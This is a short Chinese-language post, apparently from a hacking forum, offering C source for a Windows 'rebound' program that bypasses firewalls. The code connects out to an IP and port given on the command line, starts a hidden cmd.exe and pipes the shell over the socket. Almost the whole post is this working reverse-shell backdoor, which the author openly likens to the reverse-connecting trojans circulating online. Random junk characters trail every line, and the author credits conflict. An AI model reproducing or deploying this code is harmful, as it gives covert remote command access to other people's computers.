这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 k"%JyO8Y
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/* ============================== N.+A-[7,W
Rebound port in Windows NT x^_c4,i)
By wind,2006/7 <,it<$f#
===============================*/ >Ik%_:CC`
#include _-H,S)kI`
#include o\ ce|Dzt
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#pragma comment(lib,"wsock32.lib") 9{geU9&Z
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void OutputShell(); <+r~?X_
SOCKET sClient; 8+7*> FD)1
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; RTvOaZ
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void main(int argc,char **argv) |OAiHSW"V
{ BMQ4i&kF|
WSADATA stWsaData; ~|, "w90
int nRet; 6Ad UlPM
SOCKADDR_IN stSaiClient,stSaiServer; x5xMr.vm
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if(argc != 3) 'Lu xF1>
{ 4;)t\9cy_
printf("Useage:\n\rRebound DestIP DestPort\n"); %"oGJp
return; G;#xcld
} DF-PBVfpu
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WSAStartup(MAKEWORD(2,2),&stWsaData); <KtL,a=2+
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); hP{+`\&<f
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stSaiClient.sin_family = AF_INET; <\uDtbK
stSaiClient.sin_port = htons(0); S&y${f
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); /qwY/^
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) _<2{8>EVf
{ AB0}6g^O
printf("Bind Socket Failed!\n"); Gg
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return; -R1;(n)
} gaNe\
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stSaiServer.sin_family = AF_INET; +t*I{X(
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); uit.r^8l
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 3?`TEw~'
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) "Xwsu8~
{ G(shZ=fq
printf("Connect Error!"); 3G 5xIr6
return; (RrC<5"
} D+
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OutputShell(); Z
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} 1#;^Z3
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void OutputShell() Eb6cL`#N
{ &}C-W*
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char szBuff[1024]; KRn[(yr`%
SECURITY_ATTRIBUTES stSecurityAttributes; yKK9b
OSVERSIONINFO stOsversionInfo; @].!}tz
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; \kY:|T
STARTUPINFO stStartupInfo; z{PPPFk4J
char *szShell; *81/q8Az
PROCESS_INFORMATION stProcessInformation; #PPHxh*S
unsigned long lBytesRead; *wX[zO+o
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 9m_~Zs}Z
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Y`$\o
stSecurityAttributes.lpSecurityDescriptor = 0; LfU? 1:Du
stSecurityAttributes.bInheritHandle = TRUE; xe(7q1
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 2!CL8hG5:
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); @}waZ?'
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); </5
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; wL]#]DiE
stStartupInfo.wShowWindow = SW_HIDE; snu?+*6
stStartupInfo.hStdInput = hReadPipe; 7F]Hq
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; E+e),qsbO
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GetVersionEx(&stOsversionInfo); lfd-!(tXD
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switch(stOsversionInfo.dwPlatformId) #h9Gl@|
{ t;PG
case 1: 8'qlg|{!~
szShell = "command.com"; j"pyK@v2B
break; 5! +{JTXa
default: n)D
szShell = "cmd.exe"; 3QVUWhJ
break; XhWo~zh"
} BG.8 q4[
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); car|&b
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send(sClient,szMsg,77,0); Fo%`X[ ?
while(1) #4"eQ*.*"
{ r4X\/
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 5.oY$tb(
if(lBytesRead) :J x%K
{ 1gt 7My
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); <s|.2~
send(sClient,szBuff,lBytesRead,0); ci:|x =
} |)0Ta9~
else (n2_HePE
{ 3,*A VcQA
lBytesRead=recv(sClient,szBuff,1024,0); "H@I~X=
if(lBytesRead<=0) break; h#)\K|
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); B`3z(a92S
} M0)0~#?.D
} c(b`eUOO
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return; I0x;rP
}